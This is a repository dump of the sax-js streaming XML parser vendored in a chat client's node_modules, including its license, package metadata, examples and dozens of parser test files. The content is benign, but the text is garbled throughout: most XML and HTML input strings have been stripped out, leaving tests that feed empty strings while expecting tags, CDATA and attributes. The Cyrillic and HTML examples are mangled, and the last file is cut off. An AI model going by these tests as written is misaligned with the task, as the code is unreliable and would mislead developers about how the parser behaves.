11 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) Isaac Z. Schlueter ("Author")
2 | All rights reserved.
3 |
4 | The BSD License
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions
8 | are met:
9 |
10 | 1. Redistributions of source code must retain the above copyright
11 | notice, this list of conditions and the following disclaimer.
12 |
13 | 2. Redistributions in binary form must reproduce the above copyright
14 | notice, this list of conditions and the following disclaimer in the
15 | documentation and/or other materials provided with the distribution.
16 |
17 | THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
18 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
19 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
20 | PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
21 | BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
23 | SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
24 | BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
25 | WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
26 | OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN
27 | IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
28 |
29 |
30 | The file "examples/strict.dtd" is licensed by the W3C and used according
31 | to the terms of the W3C SOFTWARE NOTICE AND LICENSE. See LICENSE-W3C.html
32 | for details.
33 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/component.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "sax",
3 | "description": "An evented streaming XML parser in JavaScript",
4 | "author": "Isaac Z. Schlueter (http://blog.izs.me/)",
5 | "version": "0.5.2",
6 | "main": "lib/sax.js",
7 | "license": "BSD",
8 | "scripts": [
9 | "lib/sax.js"
10 | ],
11 | "repository": "git://github.com/isaacs/sax-js.git"
12 | }
13 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/examples/example.js:
--------------------------------------------------------------------------------
1 |
2 | var fs = require("fs"),
3 | util = require("util"),
4 | path = require("path"),
5 | xml = fs.readFileSync(path.join(__dirname, "test.xml"), "utf8"),
6 | sax = require("../lib/sax"),
7 | strict = sax.parser(true),
8 | loose = sax.parser(false, {trim:true}),
9 | inspector = function (ev) { return function (data) {
10 | console.error("%s %s %j", this.line+":"+this.column, ev, data);
11 | }};
12 |
13 | sax.EVENTS.forEach(function (ev) {
14 | loose["on"+ev] = inspector(ev);
15 | });
16 | loose.onend = function () {
17 | console.error("end");
18 | console.error(loose);
19 | };
20 |
21 | // do this in random bits at a time to verify that it works.
22 | (function () {
23 | if (xml) {
24 | var c = Math.ceil(Math.random() * 1000)
25 | loose.write(xml.substr(0,c));
26 | xml = xml.substr(c);
27 | process.nextTick(arguments.callee);
28 | } else loose.close();
29 | })();
30 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/examples/hello-world.js:
--------------------------------------------------------------------------------
1 | require("http").createServer(function (req, res) {
2 | res.writeHead(200, {"content-type":"application/json"})
3 | res.end(JSON.stringify({ok: true}))
4 | }).listen(1337)
5 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/examples/not-pretty.xml:
--------------------------------------------------------------------------------
1 |
2 | something blerm a bit down here
9 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/examples/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | testing the parser
6 |
7 |
8 |
9 | hello
10 |
11 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/attribute-name.js:
--------------------------------------------------------------------------------
1 | require(__dirname).test(
2 | { xml: ""
3 | , expect: [
4 | ["attribute", {
5 | name: "length"
6 | , value: "12345"
7 | , prefix: ""
8 | , local: "length"
9 | , uri: ""
10 | }]
11 | , ["opentag", {
12 | name: "root"
13 | , prefix: ""
14 | , local: "root"
15 | , uri: ""
16 | , attributes: {
17 | length: {
18 | name: "length"
19 | , value: "12345"
20 | , prefix: ""
21 | , local: "length"
22 | , uri: ""
23 | }
24 | }
25 | , ns: {}
26 | , isSelfClosing: false
27 | }]
28 | , ["closetag", "root"]
29 | ]
30 | , strict: true
31 | , opt: { xmlns: true }
32 | }
33 | )
34 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/buffer-overrun.js:
--------------------------------------------------------------------------------
1 | // set this really low so that I don't have to put 64 MB of xml in here.
2 | var sax = require("../lib/sax")
3 | var bl = sax.MAX_BUFFER_LENGTH
4 | sax.MAX_BUFFER_LENGTH = 5;
5 |
6 | require(__dirname).test({
7 | expect : [
8 | ["error", "Max buffer length exceeded: tagName\nLine: 0\nColumn: 15\nChar: "],
9 | ["error", "Max buffer length exceeded: tagName\nLine: 0\nColumn: 30\nChar: "],
10 | ["error", "Max buffer length exceeded: tagName\nLine: 0\nColumn: 45\nChar: "],
11 | ["opentag", {
12 | "name": "ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ",
13 | "attributes": {},
14 | "isSelfClosing": false
15 | }],
16 | ["text", "yo"],
17 | ["closetag", "ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ"]
18 | ]
19 | }).write("")
23 | .write("yo")
24 | .write("")
25 | .close();
26 | sax.MAX_BUFFER_LENGTH = bl
27 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/cdata-chunked.js:
--------------------------------------------------------------------------------
1 |
2 | require(__dirname).test({
3 | expect : [
4 | ["opentag", {"name": "R","attributes": {}, "isSelfClosing": false}],
5 | ["opencdata", undefined],
6 | ["cdata", " this is character data "],
7 | ["closecdata", undefined],
8 | ["closetag", "R"]
9 | ]
10 | }).write("").close();
11 |
12 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/cdata-end-split.js:
--------------------------------------------------------------------------------
1 |
2 | require(__dirname).test({
3 | expect : [
4 | ["opentag", {"name": "R","attributes": {}, "isSelfClosing": false}],
5 | ["opencdata", undefined],
6 | ["cdata", " this is "],
7 | ["closecdata", undefined],
8 | ["closetag", "R"]
9 | ]
10 | })
11 | .write("")
13 | .write("")
14 | .close();
15 |
16 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/cdata-fake-end.js:
--------------------------------------------------------------------------------
1 |
2 | var p = require(__dirname).test({
3 | expect : [
4 | ["opentag", {"name": "R","attributes": {}, "isSelfClosing": false}],
5 | ["opencdata", undefined],
6 | ["cdata", "[[[[[[[[]]]]]]]]"],
7 | ["closecdata", undefined],
8 | ["closetag", "R"]
9 | ]
10 | })
11 | var x = ""
12 | for (var i = 0; i < x.length ; i ++) {
13 | p.write(x.charAt(i))
14 | }
15 | p.close();
16 |
17 |
18 | var p2 = require(__dirname).test({
19 | expect : [
20 | ["opentag", {"name": "R","attributes": {}, "isSelfClosing": false}],
21 | ["opencdata", undefined],
22 | ["cdata", "[[[[[[[[]]]]]]]]"],
23 | ["closecdata", undefined],
24 | ["closetag", "R"]
25 | ]
26 | })
27 | var x = ""
28 | p2.write(x).close();
29 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/cdata-multiple.js:
--------------------------------------------------------------------------------
1 |
2 | require(__dirname).test({
3 | expect : [
4 | ["opentag", {"name": "R","attributes": {}, "isSelfClosing": false}],
5 | ["opencdata", undefined],
6 | ["cdata", " this is "],
7 | ["closecdata", undefined],
8 | ["opencdata", undefined],
9 | ["cdata", "character data "],
10 | ["closecdata", undefined],
11 | ["closetag", "R"]
12 | ]
13 | }).write("").write("").close();
15 |
16 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/cdata.js:
--------------------------------------------------------------------------------
1 | require(__dirname).test({
2 | xml : "",
3 | expect : [
4 | ["opentag", {"name": "R","attributes": {}, "isSelfClosing": false}],
5 | ["opencdata", undefined],
6 | ["cdata", " this is character data "],
7 | ["closecdata", undefined],
8 | ["closetag", "R"]
9 | ]
10 | });
11 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/cyrillic.js:
--------------------------------------------------------------------------------
1 | require(__dirname).test({
2 | xml: '<Р>тестР>',
3 | expect: [
4 | ['opentag', {'name':'Р', attributes:{}, isSelfClosing: false}],
5 | ['text', 'тест'],
6 | ['closetag', 'Р']
7 | ]
8 | });
9 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/duplicate-attribute.js:
--------------------------------------------------------------------------------
1 | require(__dirname).test
2 | ( { xml :
3 | ""
4 | , expect :
5 | [ [ "attribute", { name: "ID", value: "hello" } ]
6 | , [ "opentag", { name: "SPAN",
7 | attributes: { ID: "hello" }, isSelfClosing: false } ]
8 | , [ "closetag", "SPAN" ]
9 | ]
10 | , strict : false
11 | , opt : {}
12 | }
13 | )
14 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/entities.js:
--------------------------------------------------------------------------------
1 | require(__dirname).test({
2 | xml: '⌋ ' +
3 | '♠ © → & ' +
4 | '< < < < < > ℜ ℘ €',
5 | expect: [
6 | ['opentag', {'name':'R', attributes:{}, isSelfClosing: false}],
7 | ['text', '⌋ ♠ © → & < < < < < > ℜ ℘ €'],
8 | ['closetag', 'R']
9 | ]
10 | });
11 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/entity-mega.js:
--------------------------------------------------------------------------------
1 | var sax = require('../');
2 | var xml = '';
3 | var text = '';
4 | for (var i in sax.ENTITIES) {
5 | xml += '&' + i + ';'
6 | text += sax.ENTITIES[i]
7 | }
8 | xml += ''
9 | require(__dirname).test({
10 | xml: xml,
11 | expect: [
12 | ['opentag', {'name':'R', attributes:{}, isSelfClosing: false}],
13 | ['text', text],
14 | ['closetag', 'R']
15 | ]
16 | });
17 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/issue-30.js:
--------------------------------------------------------------------------------
1 | // https://github.com/isaacs/sax-js/issues/33
2 | require(__dirname).test
3 | ( { xml : "\n"+
4 | "\n"+
7 | "\n"+
8 | ""
9 |
10 | , expect :
11 | [ [ "opentag", { name: "xml", attributes: {}, isSelfClosing: false } ]
12 | , [ "text", "\n" ]
13 | , [ "comment", " \n comment with a single dash- in it\n" ]
14 | , [ "text", "\n" ]
15 | , [ "opentag", { name: "data", attributes: {}, isSelfClosing: true } ]
16 | , [ "closetag", "data" ]
17 | , [ "text", "\n" ]
18 | , [ "closetag", "xml" ]
19 | ]
20 | , strict : true
21 | , opt : {}
22 | }
23 | )
24 |
25 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/issue-35.js:
--------------------------------------------------------------------------------
1 | // https://github.com/isaacs/sax-js/issues/35
2 | require(__dirname).test
3 | ( { xml : "
\n"+
4 | ""
5 |
6 | , expect :
7 | [ [ "opentag", { name: "xml", attributes: {}, isSelfClosing: false } ]
8 | , [ "text", "\r\r\n" ]
9 | , [ "closetag", "xml" ]
10 | ]
11 | , strict : true
12 | , opt : {}
13 | }
14 | )
15 |
16 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/issue-47.js:
--------------------------------------------------------------------------------
1 | // https://github.com/isaacs/sax-js/issues/47
2 | require(__dirname).test
3 | ( { xml : ''
4 | , expect : [
5 | [ "attribute", { name:'HREF', value:"query.svc?x=1&y=2&z=3"} ],
6 | [ "opentag", { name: "A", attributes: { HREF:"query.svc?x=1&y=2&z=3"}, isSelfClosing: true } ],
7 | [ "closetag", "A" ]
8 | ]
9 | , opt : {}
10 | }
11 | )
12 |
13 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/issue-49.js:
--------------------------------------------------------------------------------
1 | // https://github.com/isaacs/sax-js/issues/49
2 | require(__dirname).test
3 | ( { xml : ""
4 | , expect :
5 | [ [ "opentag", { name: "xml", attributes: {}, isSelfClosing: false } ]
6 | , [ "opentag", { name: "script", attributes: {}, isSelfClosing: false } ]
7 | , [ "text", "hello world" ]
8 | , [ "closetag", "script" ]
9 | , [ "closetag", "xml" ]
10 | ]
11 | , strict : false
12 | , opt : { lowercasetags: true, noscript: true }
13 | }
14 | )
15 |
16 | require(__dirname).test
17 | ( { xml : ""
18 | , expect :
19 | [ [ "opentag", { name: "xml", attributes: {}, isSelfClosing: false } ]
20 | , [ "opentag", { name: "script", attributes: {}, isSelfClosing: false } ]
21 | , [ "opencdata", undefined ]
22 | , [ "cdata", "hello world" ]
23 | , [ "closecdata", undefined ]
24 | , [ "closetag", "script" ]
25 | , [ "closetag", "xml" ]
26 | ]
27 | , strict : false
28 | , opt : { lowercasetags: true, noscript: true }
29 | }
30 | )
31 |
32 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/issue-84.js:
--------------------------------------------------------------------------------
1 | // https://github.com/isaacs/sax-js/issues/49
2 | require(__dirname).test
3 | ( { xml : "body"
4 | , expect :
5 | [ [ "processinginstruction", { name: "has", body: "unbalanced \"quotes" } ],
6 | [ "opentag", { name: "xml", attributes: {}, isSelfClosing: false } ]
7 | , [ "text", "body" ]
8 | , [ "closetag", "xml" ]
9 | ]
10 | , strict : false
11 | , opt : { lowercasetags: true, noscript: true }
12 | }
13 | )
14 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/parser-position.js:
--------------------------------------------------------------------------------
1 | var sax = require("../lib/sax"),
2 | assert = require("assert")
3 |
4 | function testPosition(chunks, expectedEvents) {
5 | var parser = sax.parser();
6 | expectedEvents.forEach(function(expectation) {
7 | parser['on' + expectation[0]] = function() {
8 | for (var prop in expectation[1]) {
9 | assert.equal(parser[prop], expectation[1][prop]);
10 | }
11 | }
12 | });
13 | chunks.forEach(function(chunk) {
14 | parser.write(chunk);
15 | });
16 | };
17 |
18 | testPosition(['abcdefgh
'],
19 | [ ['opentag', { position: 5, startTagPosition: 1 }]
20 | , ['text', { position: 19, startTagPosition: 14 }]
21 | , ['closetag', { position: 19, startTagPosition: 14 }]
22 | ]);
23 |
24 | testPosition(['abcde','fgh
'],
25 | [ ['opentag', { position: 5, startTagPosition: 1 }]
26 | , ['text', { position: 19, startTagPosition: 14 }]
27 | , ['closetag', { position: 19, startTagPosition: 14 }]
28 | ]);
29 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/script-close-better.js:
--------------------------------------------------------------------------------
1 | require(__dirname).test({
2 | xml : "",
3 | expect : [
4 | ["opentag", {"name": "HTML","attributes": {}, isSelfClosing: false}],
5 | ["opentag", {"name": "HEAD","attributes": {}, isSelfClosing: false}],
6 | ["opentag", {"name": "SCRIPT","attributes": {}, isSelfClosing: false}],
7 | ["script", "'foo
'"],
8 | ["closetag", "SCRIPT"],
9 | ["closetag", "HEAD"],
10 | ["closetag", "HTML"]
11 | ]
12 | });
13 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/script.js:
--------------------------------------------------------------------------------
1 | require(__dirname).test({
2 | xml : "",
3 | expect : [
4 | ["opentag", {"name": "HTML","attributes": {}, "isSelfClosing": false}],
5 | ["opentag", {"name": "HEAD","attributes": {}, "isSelfClosing": false}],
6 | ["opentag", {"name": "SCRIPT","attributes": {}, "isSelfClosing": false}],
7 | ["script", "if (1 < 0) { console.log('elo there'); }"],
8 | ["closetag", "SCRIPT"],
9 | ["closetag", "HEAD"],
10 | ["closetag", "HTML"]
11 | ]
12 | });
13 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/self-closing-child-strict.js:
--------------------------------------------------------------------------------
1 |
2 | require(__dirname).test({
3 | xml :
4 | ""+
5 | "" +
6 | "" +
7 | "" +
8 | "" +
9 | "=(|)" +
10 | "" +
11 | "",
12 | expect : [
13 | ["opentag", {
14 | "name": "root",
15 | "attributes": {},
16 | "isSelfClosing": false
17 | }],
18 | ["opentag", {
19 | "name": "child",
20 | "attributes": {},
21 | "isSelfClosing": false
22 | }],
23 | ["opentag", {
24 | "name": "haha",
25 | "attributes": {},
26 | "isSelfClosing": true
27 | }],
28 | ["closetag", "haha"],
29 | ["closetag", "child"],
30 | ["opentag", {
31 | "name": "monkey",
32 | "attributes": {},
33 | "isSelfClosing": false
34 | }],
35 | ["text", "=(|)"],
36 | ["closetag", "monkey"],
37 | ["closetag", "root"],
38 | ["end"],
39 | ["ready"]
40 | ],
41 | strict : true,
42 | opt : {}
43 | });
44 |
45 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/self-closing-child.js:
--------------------------------------------------------------------------------
1 |
2 | require(__dirname).test({
3 | xml :
4 | ""+
5 | "" +
6 | "" +
7 | "" +
8 | "" +
9 | "=(|)" +
10 | "" +
11 | "",
12 | expect : [
13 | ["opentag", {
14 | "name": "ROOT",
15 | "attributes": {},
16 | "isSelfClosing": false
17 | }],
18 | ["opentag", {
19 | "name": "CHILD",
20 | "attributes": {},
21 | "isSelfClosing": false
22 | }],
23 | ["opentag", {
24 | "name": "HAHA",
25 | "attributes": {},
26 | "isSelfClosing": true
27 | }],
28 | ["closetag", "HAHA"],
29 | ["closetag", "CHILD"],
30 | ["opentag", {
31 | "name": "MONKEY",
32 | "attributes": {},
33 | "isSelfClosing": false
34 | }],
35 | ["text", "=(|)"],
36 | ["closetag", "MONKEY"],
37 | ["closetag", "ROOT"],
38 | ["end"],
39 | ["ready"]
40 | ],
41 | strict : false,
42 | opt : {}
43 | });
44 |
45 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/self-closing-tag.js:
--------------------------------------------------------------------------------
1 |
2 | require(__dirname).test({
3 | xml :
4 | " "+
5 | " "+
6 | " "+
7 | " "+
8 | "=(|) "+
9 | ""+
10 | " ",
11 | expect : [
12 | ["opentag", {name:"ROOT", attributes:{}, isSelfClosing: false}],
13 | ["opentag", {name:"HAHA", attributes:{}, isSelfClosing: true}],
14 | ["closetag", "HAHA"],
15 | ["opentag", {name:"HAHA", attributes:{}, isSelfClosing: true}],
16 | ["closetag", "HAHA"],
17 | // ["opentag", {name:"HAHA", attributes:{}}],
18 | // ["closetag", "HAHA"],
19 | ["opentag", {name:"MONKEY", attributes:{}, isSelfClosing: false}],
20 | ["text", "=(|)"],
21 | ["closetag", "MONKEY"],
22 | ["closetag", "ROOT"]
23 | ],
24 | opt : { trim : true }
25 | });
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/stray-ending.js:
--------------------------------------------------------------------------------
1 | // stray ending tags should just be ignored in non-strict mode.
2 | // https://github.com/isaacs/sax-js/issues/32
3 | require(__dirname).test
4 | ( { xml :
5 | ""
6 | , expect :
7 | [ [ "opentag", { name: "A", attributes: {}, isSelfClosing: false } ]
8 | , [ "opentag", { name: "B", attributes: {}, isSelfClosing: false } ]
9 | , [ "text", "" ]
10 | , [ "closetag", "B" ]
11 | , [ "closetag", "A" ]
12 | ]
13 | , strict : false
14 | , opt : {}
15 | }
16 | )
17 |
18 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/trailing-attribute-no-value.js:
--------------------------------------------------------------------------------
1 |
2 | require(__dirname).test({
3 | xml :
4 | "",
5 | expect : [
6 | ["attribute", {name:"ATTRIB", value:"attrib"}],
7 | ["opentag", {name:"ROOT", attributes:{"ATTRIB":"attrib"}, isSelfClosing: false}]
8 | ],
9 | opt : { trim : true }
10 | });
11 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/trailing-non-whitespace.js:
--------------------------------------------------------------------------------
1 |
2 | require(__dirname).test({
3 | xml : "Welcome, to monkey land",
4 | expect : [
5 | ["opentag", {
6 | "name": "SPAN",
7 | "attributes": {},
8 | isSelfClosing: false
9 | }],
10 | ["text", "Welcome,"],
11 | ["closetag", "SPAN"],
12 | ["text", " to monkey land"],
13 | ["end"],
14 | ["ready"]
15 | ],
16 | strict : false,
17 | opt : {}
18 | });
19 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/unclosed-root.js:
--------------------------------------------------------------------------------
1 | require(__dirname).test
2 | ( { xml : ""
3 |
4 | , expect :
5 | [ [ "opentag", { name: "root", attributes: {}, isSelfClosing: false } ]
6 | , [ "error", "Unclosed root tag\nLine: 0\nColumn: 6\nChar: " ]
7 | ]
8 | , strict : true
9 | , opt : {}
10 | }
11 | )
12 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/unquoted.js:
--------------------------------------------------------------------------------
1 | // unquoted attributes should be ok in non-strict mode
2 | // https://github.com/isaacs/sax-js/issues/31
3 | require(__dirname).test
4 | ( { xml :
5 | ""
6 | , expect :
7 | [ [ "attribute", { name: "CLASS", value: "test" } ]
8 | , [ "attribute", { name: "HELLO", value: "world" } ]
9 | , [ "opentag", { name: "SPAN",
10 | attributes: { CLASS: "test", HELLO: "world" },
11 | isSelfClosing: false } ]
12 | , [ "closetag", "SPAN" ]
13 | ]
14 | , strict : false
15 | , opt : {}
16 | }
17 | )
18 |
19 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/utf8-split.js:
--------------------------------------------------------------------------------
1 | var assert = require('assert')
2 | var saxStream = require('../lib/sax').createStream()
3 |
4 | var b = new Buffer('误')
5 |
6 | saxStream.on('text', function(text) {
7 | assert.equal(text, b.toString())
8 | })
9 |
10 | saxStream.write(new Buffer(''))
11 | saxStream.write(b.slice(0, 1))
12 | saxStream.write(b.slice(1))
13 | saxStream.write(new Buffer(''))
14 | saxStream.write(b.slice(0, 2))
15 | saxStream.write(b.slice(2))
16 | saxStream.write(new Buffer(''))
17 | saxStream.write(b)
18 | saxStream.write(new Buffer(''))
19 | saxStream.write(Buffer.concat([new Buffer(''), b.slice(0, 1)]))
20 | saxStream.end(Buffer.concat([b.slice(1), new Buffer('')]))
21 |
22 | var saxStream2 = require('../lib/sax').createStream()
23 |
24 | saxStream2.on('text', function(text) {
25 | assert.equal(text, '�')
26 | });
27 |
28 | saxStream2.write(new Buffer(''));
29 | saxStream2.write(new Buffer([0xC0]));
30 | saxStream2.write(new Buffer(''));
31 | saxStream2.write(Buffer.concat([new Buffer(''), b.slice(0,1)]));
32 | saxStream2.end();
33 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/xmlns-unbound-element.js:
--------------------------------------------------------------------------------
1 | require(__dirname).test(
2 | { strict : true
3 | , opt : { xmlns: true }
4 | , expect :
5 | [ [ "error", "Unbound namespace prefix: \"unbound:root\"\nLine: 0\nColumn: 15\nChar: >"]
6 | , [ "opentag", { name: "unbound:root", uri: "unbound", prefix: "unbound", local: "root"
7 | , attributes: {}, ns: {}, isSelfClosing: true } ]
8 | , [ "closetag", "unbound:root" ]
9 | ]
10 | }
11 | ).write("");
12 |
13 | require(__dirname).test(
14 | { strict : true
15 | , opt : { xmlns: true }
16 | , expect :
17 | [ [ "opennamespace", { prefix: "unbound", uri: "someuri" } ]
18 | , [ "attribute", { name: 'xmlns:unbound', value: 'someuri'
19 | , prefix: 'xmlns', local: 'unbound'
20 | , uri: 'http://www.w3.org/2000/xmlns/' } ]
21 | , [ "opentag", { name: "unbound:root", uri: "someuri", prefix: "unbound", local: "root"
22 | , attributes: { 'xmlns:unbound': {
23 | name: 'xmlns:unbound'
24 | , value: 'someuri'
25 | , prefix: 'xmlns'
26 | , local: 'unbound'
27 | , uri: 'http://www.w3.org/2000/xmlns/' } }
28 | , ns: { "unbound": "someuri" }, isSelfClosing: true } ]
29 | , [ "closetag", "unbound:root" ]
30 | , [ "closenamespace", { prefix: 'unbound', uri: 'someuri' }]
31 | ]
32 | }
33 | ).write("");
34 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/xmlns-unbound.js:
--------------------------------------------------------------------------------
1 |
2 | require(__dirname).test(
3 | { strict : true
4 | , opt : { xmlns: true }
5 | , expect :
6 | [ ["error", "Unbound namespace prefix: \"unbound\"\nLine: 0\nColumn: 28\nChar: >"]
7 |
8 | , [ "attribute", { name: "unbound:attr", value: "value", uri: "unbound", prefix: "unbound", local: "attr" } ]
9 | , [ "opentag", { name: "root", uri: "", prefix: "", local: "root",
10 | attributes: { "unbound:attr": { name: "unbound:attr", value: "value", uri: "unbound", prefix: "unbound", local: "attr" } },
11 | ns: {}, isSelfClosing: true } ]
12 | , [ "closetag", "root" ]
13 | ]
14 | }
15 | ).write("")
16 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/xmlns-xml-default-ns.js:
--------------------------------------------------------------------------------
1 | var xmlns_attr =
2 | {
3 | name: "xmlns", value: "http://foo", prefix: "xmlns",
4 | local: "", uri : "http://www.w3.org/2000/xmlns/"
5 | };
6 |
7 | var attr_attr =
8 | {
9 | name: "attr", value: "bar", prefix: "",
10 | local : "attr", uri : ""
11 | };
12 |
13 |
14 | require(__dirname).test
15 | ( { xml :
16 | ""
17 | , expect :
18 | [ [ "opennamespace", { prefix: "", uri: "http://foo" } ]
19 | , [ "attribute", xmlns_attr ]
20 | , [ "attribute", attr_attr ]
21 | , [ "opentag", { name: "elm", prefix: "", local: "elm", uri : "http://foo",
22 | ns : { "" : "http://foo" },
23 | attributes: { xmlns: xmlns_attr, attr: attr_attr },
24 | isSelfClosing: true } ]
25 | , [ "closetag", "elm" ]
26 | , [ "closenamespace", { prefix: "", uri: "http://foo"} ]
27 | ]
28 | , strict : true
29 | , opt : {xmlns: true}
30 | }
31 | )
32 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/xmlns-xml-default-prefix-attribute.js:
--------------------------------------------------------------------------------
1 | require(__dirname).test(
2 | { xml : ""
3 | , expect :
4 | [ [ "attribute"
5 | , { name: "xml:lang"
6 | , local: "lang"
7 | , prefix: "xml"
8 | , uri: "http://www.w3.org/XML/1998/namespace"
9 | , value: "en"
10 | }
11 | ]
12 | , [ "opentag"
13 | , { name: "root"
14 | , uri: ""
15 | , prefix: ""
16 | , local: "root"
17 | , attributes:
18 | { "xml:lang":
19 | { name: "xml:lang"
20 | , local: "lang"
21 | , prefix: "xml"
22 | , uri: "http://www.w3.org/XML/1998/namespace"
23 | , value: "en"
24 | }
25 | }
26 | , ns: {}
27 | , isSelfClosing: true
28 | }
29 | ]
30 | , ["closetag", "root"]
31 | ]
32 | , strict : true
33 | , opt : { xmlns: true }
34 | }
35 | )
36 |
37 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/xmlns-xml-default-prefix.js:
--------------------------------------------------------------------------------
1 | require(__dirname).test(
2 | { xml : ""
3 | , expect :
4 | [
5 | [ "opentag"
6 | , { name: "xml:root"
7 | , uri: "http://www.w3.org/XML/1998/namespace"
8 | , prefix: "xml"
9 | , local: "root"
10 | , attributes: {}
11 | , ns: {}
12 | , isSelfClosing: true
13 | }
14 | ]
15 | , ["closetag", "xml:root"]
16 | ]
17 | , strict : true
18 | , opt : { xmlns: true }
19 | }
20 | )
21 |
22 |
--------------------------------------------------------------------------------
/services/JabbaChat/client/node_modules/node-bosh-xmpp-client/node_modules/ltx/node_modules/sax/test/xmlns-xml-default-redefine.js:
--------------------------------------------------------------------------------
